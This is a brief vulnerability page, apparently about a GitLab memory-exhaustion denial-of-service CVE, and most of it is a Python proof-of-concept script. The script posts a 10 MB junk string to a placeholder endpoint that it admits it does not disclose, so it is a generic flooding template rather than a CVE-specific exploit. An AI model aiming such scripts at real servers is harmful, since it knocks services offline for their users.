CVE-2026-8280 GitLab内存耗尽致拒绝服务漏洞

import requests # Proof of Concept for CVE-2026-8280 # This script demonstrates how a crafted payload might trigger memory exhaustion. # NOTE: The specific vulnerable endpoint is not disclosed in this snippet for safety. target_url = "http://target-gitlab-instance/vulnerable_endpoint" login_url = "http://target-gitlab-instance/users/sign_in" # 1. Authenticate to get a session (or use a token) session = requests.Session() # credentials = {'user[login]': 'attacker', 'user[password]': 'password'} # session.post(login_url, data=credentials) # 2. Craft a payload designed to consume memory # This could be a very large string, a deeply nested object, or a specific regex pattern. malicious_payload = "A" * 10000000 # 10MB string as an example headers = { "Content-Type": "application/json", # "Authorization": "Bearer <token>" } data = { "field_name": malicious_payload } try: print(f"Sending payload to {target_url}...") response = session.post(target_url, json=data, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (potential DoS triggered): {e}")